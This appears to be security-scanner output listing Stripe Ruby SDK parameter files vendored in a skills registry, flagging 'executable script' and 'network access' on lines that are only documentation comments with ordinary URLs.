# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Specifies the [`invoice_credit_balance`](https://docs.stripe.com/api/cus - Network accessline 14
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_balance_transaction_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_balance_transaction_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_balance_transaction_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_cash_balance_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_cash_balance_transaction_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_cash_balance_transaction_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_cash_balance_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_create_funding_instructions_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 9
# A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 17
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 32
# Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these reconciliation modes, see [Reconciliation](https: - Network accessline 98
# A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 106
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 162
# The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer). - Network accessline 182
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_delete_discount_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_fund_cash_balance_params.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Amount to be used for this test cash balance transaction. A positive integer representing how much to fund in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to fund $1.00 or 100 to fund ¥100 - Network accessline 8
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 12
# A description of the test funding. This simulates free-text references supplied by customers when making bank transfers to their cash balance. You can use this to test how Stripe's [reconciliation algorithm](https://docs.stripe.com/paymen
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_funding_instructions_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_list_payment_methods_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_method_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_method_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 10
# Please refer to full [documentation](https://api.stripe.com) instead.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 10
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 18
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 75
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_payment_source_verify_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_retrieve_payment_method_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_search_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_session_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 18
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the customer sheet displays by filtering to only show payment methods - Network accessline 22
# Controls whether the customer sheet displays the option to remove a saved payment method." # # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing th - Network accessline 24
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 45
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the mobile payment element displays by filtering to only show payment - Network accessline 51
# Controls whether the mobile payment element displays the option to remove a saved payment method." # # Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Rem - Network accessline 53
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 55
# Controls whether the mobile payment element displays a checkbox offering to save a new payment method. # # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#paymen - Network accessline 57
# If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the - Network accessline 91
# A list of [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) values that controls which saved payment methods the Payment Element displays by filtering to only show payment method - Network accessline 99
# Controls whether the Payment Element displays the option to remove a saved payment method. This parameter defaults to `disabled`. # # Allowing buyers to remove their saved payment methods impacts subscriptions that dep - Network accessline 101
# Allowing buyers to remove their saved payment methods impacts subscriptions that depend on that payment method. Removing the payment method detaches the [`customer` object](https://docs.stripe.com/api/payment_methods/object#payment_method - Network accessline 103
# Controls whether the Payment Element displays a checkbox offering to save a new payment method. This parameter defaults to `disabled`. # # If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/a - Network accessline 105
# If a customer checks the box, the [`allow_redisplay`](https://docs.stripe.com/api/payment_methods/object#payment_method_object-allow_redisplay) value on the PaymentMethod is set to `'always'` at confirmation time. For PaymentIntents, the - Network accessline 107
# When using PaymentIntents and the customer checks the save checkbox, this field determines the [`setup_future_usage`](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-setup_future_usage) value used to confirm the P - Network accessline 109
# When using SetupIntents, directly configure the [`usage`](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) value on SetupIntent creation.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_tax_id_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_tax_id_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_tax_id_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_tax_id_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/customer_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 9
# A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 17
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 32
# Controls how funds transferred by the customer are applied to payment intents and invoices. Valid options are `automatic`, `manual`, or `merchant_default`. For more information about these reconciliation modes, see [Reconciliation](https: - Network accessline 98
# A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 106
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 150
# The customer's address. Learn about [country-specific requirements for calculating tax](https://docs.stripe.com/invoicing/taxes?dashboard-or-api=dashboard#set-up-customer). - Network accessline 158
# If you are using payment methods created via the PaymentMethods API, see the [invoice_settings.default_payment_method](https://docs.stripe.com/api/customers/update#update_customer-invoice_settings-default_payment_method) parameter. - Network accessline 160
# Provide the ID of a payment source already attached to this customer to make it this customer's default payment source. # # If you want to add a new payment source and make it the default, see the [source](https://docs.stripe.com/ - Network accessline 162
# If you want to add a new payment source and make it the default, see the [source](https://docs.stripe.com/api/customers/update#update_customer-source) property. - Network accessline 176
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/dispute_close_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/dispute_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/dispute_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/dispute_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 13
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 21
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 82
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 90
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 179
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your subscription cancellation policy, as shown to the customer. - Network accessline 185
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any communication with the customer that you feel is relevant to your case. Examples include emails proving that the customer received the product or service, or demonstr - Network accessline 193
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) A relevant document or contract showing the customer's signature. - Network accessline 195
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation for the prior charge that can uniquely identify the charge, such as a receipt, shipping label, work order, etc. This document should be paired with a simila - Network accessline 205
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any receipt or message sent to the customer notifying them of the charge. - Network accessline 207
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Your refund policy, as shown to the customer. - Network accessline 215
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a service was provided to the customer. This could include a copy of a signed contract, work order, or other form of written agreement. - Network accessline 223
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Documentation showing proof that a product was shipped to the customer at the same address the customer provided to you. This could include a copy of the shipment receipt - Network accessline 227
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Any additional evidence or statements. - Network accessline 296
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/active_entitlement_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/active_entitlement_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/feature_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/feature_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/feature_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/entitlements/feature_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/ephemeral_key_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/ephemeral_key_delete_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/event_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/event_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/exchange_rate_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/exchange_rate_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 11
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 24
# Optional parameters that automatically create a [file link](https://api.stripe.com#file_links) for the newly created file. - Network accessline 26
# The [purpose](https://docs.stripe.com/file-upload#uploading-a-file) of the uploaded file.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_link_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_link_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_link_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_link_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/file_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_disconnect_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_list_owners_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_owner_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_refresh_account_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_refresh_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_subscribe_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/account_unsubscribe_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/session_create_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/session_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/transaction_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/financial_connections/transaction_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/forwarding/request_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/forwarding/request_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/forwarding/request_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_report_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_report_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 11
# Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. - Network accessline 15
# Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie). - Network accessline 30
# Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document). - Network accessline 65
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 79
# The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed. You must provide a `type` if not passing `verification_flow`. - Network accessline 81
# The ID of a verification flow from the Dashboard. See https://docs.stripe.com/identity/verification-flows.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_list_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_redact_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/identity/verification_session_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 11
# Collect an ID number and perform an [ID number check](https://docs.stripe.com/identity/verification-checks?type=id-number) with the document’s extracted name and date of birth. - Network accessline 15
# Capture a face image and perform a [selfie check](https://docs.stripe.com/identity/verification-checks?type=selfie) comparing a photo ID and a picture of your user’s face. [Learn more](https://docs.stripe.com/identity/selfie). - Network accessline 30
# Options that apply to the [document check](https://docs.stripe.com/identity/verification-checks?type=document). - Network accessline 51
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 57
# The type of [verification check](https://docs.stripe.com/identity/verification-checks) to be performed.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_add_lines_params.rb
- Executable scriptline 1
Executable file - Network accessline 40
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 44
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 65
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 67
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required. - Network accessline 69
# Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required. - Network accessline 71
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 106
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 120
# [ISO 3166-2 subdivision code](https://en.wikipedia.org/wiki/ISO_3166-2:US), without country prefix. For example, "NY" for New York, United States. - Network accessline 175
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 177
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 179
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. - Network accessline 185
# A list of up to 10 tax amounts for this line item. This can be useful if you calculate taxes on your own or use a third-party to calculate them. You cannot set tax amounts if any line item has [tax_rates](https://docs.stripe.com/api/invoi - Network accessline 220
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_attach_payment_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 18
# Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca - Network accessline 139
# Installment configuration for payments attempted on this invoice. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 141
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 143
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 281
# The list of payment method types (e.g. card) to provide to the invoice’s PaymentIntent. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s default - Network accessline 370
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 372
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 387
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 391
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 429
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 437
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 483
# A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-Account header in order to take an application fe - Network accessline 485
# Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. If `false`, the invoice's state doesn't automatically advance without an explicit acti - Network accessline 521
# Revise an existing invoice. The new invoice will be created in `status=draft`. See the [revision documentation](https://docs.stripe.com/invoicing/invoice-revisions) for more details. - Network accessline 525
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 529
# The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/invoice_create_preview_params.rb
- Executable scriptline 1
Executable file - Network accessline 18
# Whether Stripe automatically computes tax on this invoice. Note that incompatible invoice items (invoice items with manually specified [tax rates](https://docs.stripe.com/api/tax_rates), negative amounts, or `tax_behavior=unspecified`) ca - Network accessline 33
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 41
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 65
# A freeform text field for the country. However, in order to activate some tax features, the format should be a two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 73
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 190
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 192
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 194
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 217
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Only applicable to new invoice items. - Network accessline 227
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 229
# The period associated with this invoice item. When set to different values, the period will be rendered on the invoice. If you have [Stripe Revenue Recognition](https://docs.stripe.com/revenue-recognition) enabled, the period will be used - Network accessline 233
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 237
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 239
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 371
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 373
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 375
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 398
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 404
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required. - Network accessline 520
